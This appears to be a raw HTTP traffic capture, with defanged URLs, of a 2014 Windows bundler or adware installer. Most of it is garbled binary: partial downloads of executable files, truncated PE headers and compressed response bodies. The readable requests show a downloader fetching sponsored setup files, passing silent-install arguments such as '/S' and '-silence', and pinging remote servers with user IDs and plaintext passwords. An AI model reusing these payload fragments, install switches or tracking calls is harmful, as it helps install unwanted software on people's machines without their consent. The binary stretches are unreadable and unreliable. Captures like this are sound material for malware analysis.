..9....fa..w....5..-.p....h...Q..R...k..Tg....g...s..T...J!..LQ..c;b.|
..*..l..n0....a...P|.XR...fY.........-..@[email protected].....
I.......u.%oH.\.~..!W.z..N....0*.....k..J.Y:7..... .......9.V.....F..|
xL..._,.jV..{!.j.........D'..........-$C...#0|..|....0.Y....B>?...W
.I......b...........|..72..T.J.>.........~.....f..O....../...~...,.
.X....1W.6..rj.E}.y?^.r,.Um./?... .v.-J....y.W.xcW^.>...T.. . }m...
pZ......./....T.J.......@.!].[.a.V..yYo._._:.FM.APF:..A.&....:N....y.?
..<.VT.,...&.....%z...j..B[MV..`(....k6,...I.1....GY..N.j........%.
.e.hPtW..R..L......t.....i.....x.....%7..;.j....Dv....'Cna=..g.W....4p
.F....>y...q..]$....$#&...F...gS.QY...{.).......R.QYDJ{;..}...$....
.m`!.....l..^..<u....Qm*i.b.{oO1....Q......Z...T...".^L.Q3..p. ....
......kO...}..........A5..V?.V.....L.u....kw,..Bm..p......Q..<.....
$WpS.c... D.$...:I).|.....5......a/........"...1.(.)..43...$02..#....A
|8...Ew............v..l7. .`_..Uls.)s..C;.^m..B.k5 v)I...D.....T......
....;(..y.c...a>1S*.O...#li...A..E...RS....i.{..w...8..vJS....~;.V.
6(X..P...3.x..-...%b_.......:C...@..............].........ef...TM.....
.?. .......[..j..._dh...........?8..@.@*..q...K.d ...H,.}4. .'9?@._.6.
..*......Z.H.z.d?5....h<......U,.@.(..........S~4%-.*c...m...Lt
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=4250000-4499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Fri, 25 Jul 2014 09:15:55 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 4250000-4499999/7592848

Age: 49625

X-Cache: Hit from cloudfront

Via: 1.1 62ac9e5fd8ad07f5f2bb5671226b1cbb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: mE4yrAE1PJH35EMXeSJfiVG7MfpdAjwOJL-2s594mIMl0l5SKXkYCQ==
s.u....:._....F......%).S.......->..K...8..8..\..!....x....Q..|..0=
<.a......../.|..;....H.....^rT.iz.e..9.{U.P.G.......k..q...o.T9)...
,.Dq..7Zd..C...Np8....`..9LS.lI...G.....s.:>.!m...D....,....P}.z-8.
.9.x[.L..1. ....A.E.1.....X...I.M........]...........c..}..4......Ffq.
Z...`[email protected].@........'.....Q.y.tk.e.[..X.r.B.0a B......
r-\...8l..n.....c....T.s n..........r-.......'s.........l....g.....O..
....>.!.Zx_<....7Q..V.:.b5...#,%.....~4x..'........v.5....=.x?o.
_..i.._0. &c..........srX ..D6.2|...M.......9.q.v.I...]:. .U......6.:j
.N...J?...4..BG...4..\..g6:.l. 8K......Y.A..EO.M-,...q7......'..QT.F.%
C.."J...|.d.jv....,S..2.^.z..5...>.;..=^........K\.(..#..... ,.C...
....0,I.Z. .......Lt.?..h?......=...C.v.(..]h ....;.|.../.....I......a
......C<.JU]......t..D3O..$...a"nj....... h........$G?J.7...l.....}
..'v....p8.g...-u.b...)R.....a...?.C6U ....TS.....TS.|9iO.."#..l....#o
*.FMuM....R...R...cm*.K8.t.}5...|(..Q..\..H.....zz..zh.....kMEGo.;.m..
?.........I.*n'a....w.s;N.L`=.w..I..'.1.8...)...e.E...4...pW.he.H.G.L.
.n{.......W".|.._.?..,g.K.Ft.x..KC]..........R.n...A#*.'ZY.<D....m.
.".[l.ka.^........^..gZ.M.4.{....6[S.......>.....o,..H...: ........
.....p..........T..S...;....k..%...d ....v..K8........<.$.].H.... 9
.I>U7....B...$.v.$S..`.:.....g8L.OU....J5.&._RT..4.V.Q..."O.&.[.4..
![(...y.. {|.......T...d?.4...O..../)..>XdA.9*z;-.>c...6...z....
....L.&...3Xrr.0.I.4j.g.@rN?b.A6..A...J.h.....[..*9D..x.%...p.<x.s.
..=;......hW..........e..-..#=.^#U.0....?.......b...Mq.&.].S..g2..
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=4750000-4999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive





.....s....#Go............;......RK..=......iX.....J...:..C1-\..q...Q..
._.%....1.....y.i.7.f#C.%..wS.8.....Z.P.....d.NA9Zv.%......S...-..3.X&
.l.C...n.......`.][email protected].........
...7.....]9f"HpAaa._Y?....n..a.F~.*..... ....w`.Md..C<..._..y...._.
.....-....;[email protected].\H.y...8 .8..!.9.....q3.......}.\.!.......3ub
 '....:.o..K/B...H...#.c..;Hzc{.........O...P_..E.T..t..;......_...*..
F..(/..#9l.o]..vN..V......I..Q..x..1....yi.....m....m.@..[{.A3..[..E.o
D....4.........=7!>Dn.X.|H.......`>.d.C....N0X.$.uE.6..mJ.{...&l
t;....1"q...x]|....O.g..:..>.m.-.........].Y.-x.1........$.STh.pq..
....5...&.q......p.....0.'J.xV.l...i...v...!?09F-......f.,..._x$ .Jb.v
.%HY.....$=....(.$.....9.1....<......Uc.....x.!)..........!.X.Q....
.3I........e....E<.b}..$..vP..(k....rG...,..@.[.../....d...,...F..=
...:*..=.S....`#....J.............6.>..%..)....V}%U.._.....}.lY....
.....E.H.-......{\.....&2x....#.%.^.a:y,f..L.@k.$.....x............. 5
.(I$....2.WR..s.w.UG..A.4#L"{......Y.H..q|..MUV....:y"z.n4.G. ....k.&l
t;0...p....!b..e.......;..JT..K..)m..@.......%.........!..V.w.)..[9..!
.I..h.....V.J...z.=.s?.!{<.-../..j........l.....,....1f.a..rK4t...p
...Un.CI.........&..%.. ..."...w....J...........XT...h~......._.=.;..U
.......)5D...q8)D.H(F.3C....7v1...p..H.o....Y....1.)......D....h..U...
.5e.^..J..Q..o....4U.Lp....d..~$./3N....`.......... .>...C|..h.c...
F.){[email protected](Il..E_...{.v..TL..^p..X.p..D....u=.D..;....t.
.fshT...x......9..Q.0......c........Q).<g...B.cI....h.r.o...E..
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=6250000-6499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive





.......A..x8.'...y....l\.......g.....*..5..{..L~...|fe=.dZ.`....x.....
..!.. x.....~=w.^zU.V.....C..V..e..>Y..~&......_w".&..*..u.`)..=...
....tx...u:..".h....Yk..R3.V ..8.0H.U33....sx.<.....~......Y.....l.
o..^D7..R.......z.'co0.S.......k....4....s.#.L...<D..#......8.z.yI-
M...>wHe.8.W..uz.x.mCN.a)}..O;..IWT..%.... &X..!.1i^.<..X.......
...Lhm../H..=.....'.G......... ....'@.5..4..u<0....S.d..9...L.....#
..w...........-#CM.Xz....".L.\W...b$v..-{........R........f....e..j...
i..cm..6......._.=........w..3.GQ..M..s..T..W....Y....,........0.?...$
.....'*.W.)....u.fY../.5a..7...^|\2V"``...2. .g.=......{..p)V....VVb."
..:?.R".p....xoWu..dUI.&.......p..|..*.:......(..F.....1....rT....v0..
.........../....a$ {.. Q.{..$L...~..C.-.`...i.\..t......I...|.....B...
.G..2...TKo;.P..oO...Ts...R.ky...I....a. ..D([email protected].....\.........S.l.
S.b.9..q.UA.GV.0i.aM.i..{$w_]..$p*.wns.z......[.l]...UX.....6g...>.
.D..;e.".&>.]ezv..{......%y...... ...i.V..TYA....n.R......nU.......
s.....T.CA%.z........[Aw...*.Iy.^1~..k.b...".2..Q.._..j...YA......c...
c...6......GT...0..|..T>;._...Om..............4..=.8_.v.~.........@
.....V. T..'[email protected].....{....CCG.m.).~I..*..g....W..,OJ@....~.
.Y:"cYV.n ....Tz......9....pgDUqb....6.:.E.f..rk..w..-.-...H.r\.!.#.fs
...(..w.....9'..%..k..).2NW.f...r`.lNa..`..5.h[e'..)"}i.s.....F.......
.VG..p..1 sD-.5..T..E.:.Y.g...7C.Q...ee$.a.]A.s.C...H...J..W7?.....vvd
#....|z..[J...%../../..S...............X/.x!.E.....C....8a.lS.........
.....diE..v....A....h...l.yiS.%.1.(....1.......V..A..^..!..<0b.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=6750000-6999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive





.z.=..7..H.BIj.%[email protected]......}.Y
..4mo...{^...6.O..:.:{U........@@.)....L.;......4.......L..{..q.N..bX.
....]p...*Pp...F.td.(>5..,Zm..R.f.k..D..c.c..U...S-Hid.'7;.s....\c!
.N.H.]tki}.d........8...N.>Tmt...$..9.W.MJ...VU....F.....P.....%.]A
.[[email protected]..%G....rv=................p\H..&
gt;s.....N.4.Q...n6zn....].]..g.-....u..rl{.o.?..o...I.].M..*.....I..:
f...gr*..&.-..^..>T..VE.E|S............fk...&........AR4=.".W.."..$
....X...@)|.T...e./.~.S.i....8..._2.....g.1N.>|svDh............z...
^....J.....1...B.K.1.......3.C.9ea..F..!gC.{x.F....|.\]"...s...9....'.
9...B.c@[email protected]..}.].W.S........BZJ.FO....x;d.....&....&..F...B.g%.
XrES....V.mD..B^[email protected]./B.....hs...?..P....5S&.j.J;....Z
.....S.sE..PR...].....`s ]0...:K3sr_A.........:.U.......OT.u.S=...$p..
.z...N.{.V...R.%......IK......6..:vf.B.I.\...L.Iiw....cH...;.#....b.?*
..Xl.............[....Q.iR......N..(I.'1....Rs......H..H.sq....\.?7.$.
.........e....n.....s]I.K...4.-..j..^.5;..Av.d.l..].....X2.O0.. .QzD..
o....W........k...2....g.B..kd......y&.Yc..C......... .H.......B.M.J..
..y.....VW..g......>.M..M.......K....v.f.,.O.(.......h2X3.?....`Xhf
T1..x#t.y...TJ1....Y....=.K~...X.=f......`.p*S....K...1. ...]5K{......
K.)....^k{.."BR.iS.Z...:.jQ....:..'...# .{...........8.)k....$..n..%D.
.m.....7.........5.'....#.c..'.O......W..v-q.&..i....n......Aq...uf|.[
.fn.[..(...K.RN.3/...........:{...,D*.....zM....B.RwWu.v..d.|D.u.9..EU
.f.~^...g. .X#4..n.i....u%fk`.....M...N.......4Q8?xL.....c^......6
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=7250000-7499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Fri, 25 Jul 2014 09:15:55 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 7250000-7499999/7592848

Age: 49627

X-Cache: Hit from cloudfront

Via: 1.1 62ac9e5fd8ad07f5f2bb5671226b1cbb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: AVYiG7KGrtjb6nX2Hbzdx0bKANcGv_-5JX8Tq1r-jOcDhAKF_UdiIQ==
...U3}..>...mH61...Jd.a.A.C.....N.bC..Q/......o.!!...xK..Z|..{Z.G B
.Y..!......W...o7...^S..E]o........[....gM.....f..2'w.2............M..
.3|H.z...........:.. ..|.v.....4..........{..P...\@....:..j...A.K...D.
-...az...x!...\g....X..9.k.i..-:...0....O......K>.`..[..{....X..z..
M.....%>Lb....vn...6..d/...E_..8..r..qe......J._..:.......O..-a..M?
.....KUp>..=RMG..HC%..`hcr5..7f....K.b[.m6./p....6,.0x..v.....>.
_..4.x.h .~.P".w.I.Jz....w1`8... ......f...y..&.T......'....j..l.9.q]"
..4r......K............ .o.vR..A G'..f.,..s...'...N....9./r*B,......{.
.......{..}....=.0....:A.ln.N<.c..[.r....CP..8F.Q..*......'.Kn..)..
....b...\n0.TZ.n.i.|Nl......|I..\...Q...@`41.$.Yy?..I..W%{.....s.}Y.wV
....a\. .2...tTK....Le.....f..c#.Kr.)/...>..h...Sh.O.f......J..3..&
gt;..Z..7.Z0.0...{...t."Vh.J%M.P/...,....../"...(..Y.T.>..l..S...{.
....."[email protected]...#.Q~..}TZ.c.$`[email protected]...>
...5Q........u..?.........."...b%....h...`....{/.x).gY...2.x.........y
,.\.S.l..E.P.Bh)..f...tk.C../../.........h.k.&..M`<..b.Q.6....{.&..
./2.Ga.-..T.9.l.@^...ln.;...B....}....v...W.a.....<e....WS].A....st
 *.9..\....A.........p..\.._.K....=.OL.\....&\E.. ).9y.*.6`Oy..5Y.{.b8
......rC.|.%......Am.-.K.fRa#.Z....W..N.........E.....w.G..Z..aJsK...A
.m..........F$..H.....l.A.....U>g.O..o..^(O.*...d..oG]~.._OY}.....$
..|.....S.....V.....h_?.....pB.Z,...n?.-.......X....ey%r.|f..;.w...f.j
q.Z9......1..a.g[.Qd..|B;.j....S( .._.....K.v......<..lW.......Nb.y
L....Tp!...P.\.:,>..uR.)y.^7.jE.\uA...,_H.:.,n...b...z.a/..#..?
<<< skipped >>>


GET /app/ping.ashx?e=lOCrbsNL2zWQ5lb rGZVAiWqRVUESB2PHUEQPyGrAWORoZJTpqsyZ quxda/Dun3qP0V6n4 tzBHLE0ylDSF78eFfSuOsPNu51vWMEpOYI9vFWuyZiLPwVfMcUAAn47OdXf8s99rZqrmh5G7kLgKqVXo80RT67Oh9qn20QlhWbaExpgoHHKdGGQrXcXswSfxsHPmaNRNf9MiBldlKQ/vBF2fwAkvrmVqRWJSF0HHhpbiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmuQUMIkKKYuybEe7W9itEZAEJ0Gc7l9cjUwmns505UICd56UH 7ayaQkiNLnzIALkbv9q98gu8BV/qgvDPs qxFSnkSnlVgA Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: repjs.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:44 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 17 Dec 20
14 16:43:44 GMT..Content-Length: 0..


GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=4de1d895-16f4-46c5-b766-79c34a33683b&Password=g4NYbwGq&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1418834630&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=k02k3o5545cse1bcmjjn5rj5




HTTP/1.1 302 Found

Cache-Control: private

Content-Length: 1268

Content-Type: text/html; charset=utf-8

Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=4de1d895-16f4-46c5-b766-79c34a33683b&Password=g4NYbwGq&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1418834630&SBPIDS=1&KA=1

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Date: Wed, 17 Dec 2014 16:43:49 GMT

Connection: close
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=4de1d895-16f4-46c5-b766-79c34a33683b&Password=g4NYbwGq&O
S=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,eb48a
9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&
amp;PartnerList=&ElapsedTime=1418834630&SBPIDS=1&KA=1">
here</a>.</h2>..</body></html>....<!DOCTYPE
 html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.o
rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml" >..<head><title>...Untitled Page
..</title></head>..<body>..    <form name="form1"
 method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&User
ID=4de1d895-16f4-46c5-b766-79c34a33683b&Password=g4NYbwGq&OS=1
0&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,eb48a9ab
-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&
;PartnerList=&ElapsedTime=1418834630&SBPIDS=1&KA=1" id="fo
rm1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" 
value="/wEPDwUJNzgzNDMwNTMzZGR2ZsAnoxOCObOpC82NfSRA21X80Q==" />..  
  <div>..    ..    </div>..    </form>..</body>
;..</html>....
<<< skipped >>>


GET /downloader/network_xrwc_1/vlcmediaplayerdmot/f5dab3d74e316e46a59f4bd1d5099978?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=f5dab3d74e316e46a59f4bd1d5099978&muid=96D78F35E7B7EA4FC32736D428DF43B4 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.61869844.1418834552.1418834552.1418834552.1; __utmb=1.1.10.1418834552; __utmz=1.1418834552.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:43:21 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............~.F....<..N.....Nw.2........I..... .....KD...g.O
v....B..e;...L[.P.*.r......N.....q........,N..W.qg.-.Fr...."....._.y0O
f......`.}\....c...};=.4mD.............".....T...w..y:.../.Y.9<.O.,
...y..o\.....^..g..W.s1./N..,9...?..Ev2......r1...,=Yd.........zM&.d1.
...a.-f./.~......P....O..A6.G.??...|:X|.g..|..F.}....7..X..x..."K...z.
..f_\O.....|:.G...<.....f.. ...Of..Y..s<x......;Y..........>.
t...n....r....q.[.....].:[..j.Q..}<X.3..L..l...."~j..<..`:J.GN..
..t.:.....l:D..'.xvr......,..q..a....~.!_$...p8.\.s.~"..d.].3,..'[.|.6
O..<.wd..;... .}.?.O.I2Z.....j...6..b'.e...N.m[.,..S.].........62Y.
'.Y.LO....h..'.t9Y.>.. ..V.M......qQ.....a....`.....,....PU......$.
.Of...d.pTm....L..u#../...GP.d:..3..YV.0..riU...C..l..............R?.p
..$=./')...S..^d.,....dq.O.O>M.'......1..Yu.l..k6..x.>^.Fn.uS'..
......$..`....I.w............~../.._.....)...........{...........M.X..
....?...... .6.Ngy.w....{......6F..2...[Wap...._W.Vm.{../u..7.........
...........<.{..{M.....8<._.....[?[\.._1.R..{....{7..U.........y
. ...W..[_...[n..........v..n..._......g.%........Lu....`........yJ.Q.
g..3pI.zq?.gr#,.....yp..O....2[..1/..)..K.....c...x.p..^._.;....pv.8..
I.r.-...e.v.......1n..........<S..E.z..-$Q..../.A'h.i......Y...h. .
.tF.d.8=h...e>h..F.e-......'..q.....S....<...>..'W.........?.
y...4.wj?.....U.,g3..;.:,..a..qM..h.-.Te3Si.U..~..k).7..o...s.V.......
z ..w.O...).!..y./F.K....$.l.......&.x....|.....k.3..7..<._.x.V..YG
 j2...og.....Q?..^.t1.~._.^mn.......x....xS.....:.-....l..........
<<< skipped >>>

GET /installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[sourceapp_network][exec_args]=/np 1 /is smp1ua &offers[sourceapp_network][offer_indexes][slot_number]=2&offers[sourceapp_network][offer_indexes][index_in_screen]=1&offers[sourceapp_network][offer_indexes][index_in_session]=2&offers[mystartsearch][exec_args]=-silence -ptid=smt &offers[mystartsearch][offer_indexes][slot_number]=3&offers[mystartsearch][offer_indexes][index_in_screen]=1&offers[mystartsearch][offer_indexes][index_in_session]=3&offers[appshat_madness][exec_args]=/S /affid=appshatmadness /bi_sponsored_sub_process /run_bi&offers[appshat_madness][offer_indexes][slot_number]=4&offers[appshat_madness][offer_indexes][index_in_screen]=1&offers[appshat_madness][offer_indexes][index_in_session]=4&uid_orig=796c42aebeb52f4eabf469c6ed8ad1c0&uid=f5dab3d74e316e46a59f4bd1d5099978&tokyo_csrf_key=ce0f2239cc145e806f12d03997a27d96&tokyo_csrf_timestamp=1418834601&ffInstalled=false&dfz=false&affid=network_xrwc_1&sid=vlcmediaplayerdmot&country=UA&hostBrowser=ff&unique_id=61c1e9ce078e3e20f171532f2a80443c HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-u
HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:43:21 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
4f2.............Wmo.6.. .? vd..c..A........C]..t..H.FRq. .}w......A.%@
..G.y/.sw...%.6.gK..&..eP..ViZ.9....L..P..j....b.\..].lnm=.v.....)4. [
.y' U..ZI..`.........Le..]f.......,toL.....ht.K(...g.t6.N.i......h.b!.
.%.!.oF.v.5$vY..S i...e.....B...../.....z.....g.F.I.X.p.=Ka.o...."....
a.!...US.R..........0.R....a..,:=u*....MWE.gQU.$$5..........{...26....
..j(.u.1|`.V..mH{...2...3a.^>..'.............../.^M.g..O../~..>.
Q*.S.i.~xg.\.......J..%.[.\xC......_CF...pA{..i..8...`..R.b&:...zk.nS.
]M.}A..O..e|..W"..0DV]......... ..m^......_#..9....2...nE..<.%!e.=6
.MY...)......6l.1..8.>.).e.......A..qZ.(.MdS.@.'zqBB..4.An{.s.Eb.T.
.......o......].#..C.uM..M....,........vM..0H.OHt0<..PY....0.......
F%|.....D.....vY.a<...~|.6..hVI.u`3...7...%..gC.w.Tz............&..
k.\mm...b..........d..v.....6.[:....3b.....`W"3.N..rj=^.b*n,......k...
#mr._..J|.]b &$v...........7.<Rin{...R ..=......]..a..G5W.......2H5
.!..E...0....0.m..X........M.......K... ....wZe.y.....)......P#.....3.
.x.}..-.{...~ ..T,.ii.NO|.L.|W.O....W.....dDh..u;vd....9R..%.....t}MHX
.M..S.z:..y^.`..M=*[email protected]....{....H6&.&MjB
.1(.....k.R[.....`tv.....X...:......]....m......{4...V...t.3..<...4
l..KL]....a......D..........$y.......U7K.h..zI;.Fi...|4....0;O.Q:...H.
..('xm.....Q....~4........o....X.....0..


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d3ddmpeszwup8l.cloudfront.net

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 14 Dec 2014 04:56:58 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-285557/285558

Age: 1399

X-Cache: Hit from cloudfront

Via: 1.1 e5c6a45cefc4c1d8e59eda29bdf1ce79.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Ue1qgEno4gMIgAuleT_RfvQX00VYy_za74bt582H5rgGFUAVZd0EQw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.....
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=mystartsearch&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=3&index_in_screen=1&index_in_session=3&0.6896073372665273 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_xrwc_1/vlcmediaplayerdmot/49e8eb8101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8eb8101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.61869844.1418834552.1418834552.1418834552.1; __utmb=1.1.10.1418834552; __utmz=1.1418834552.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:43:22 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 17 Dec 2014 16:43:22 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache




HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1269603

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Wed, 17 Dec 2014 08:15:15 GMT

Accept-Ranges: bytes

ETag: "2f5f6796d119d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:23 GMT

X-Cache: Miss from cloudfront

Via: 1.1 66bac3dfdb80f9482158385c5e8b375c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: zBOpFV5yVHOr5U8y-vrGNDMg855A64JsmQ_dtaVS64AvDO12165ffA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=k02k3o5545cse1bcmjjn5rj5




HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 98

Content-Type: text/html; charset=utf-8

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Date: Wed, 17 Dec 2014 16:43:49 GMT

Connection: close
<RESULT>.<ANON>.<ID>ecf02c05-2477-44b0-82b0-38a8feb8
f4b0</ID>.<PW>5823NWIH</PW>.</ANON>.</RESUL
T>...


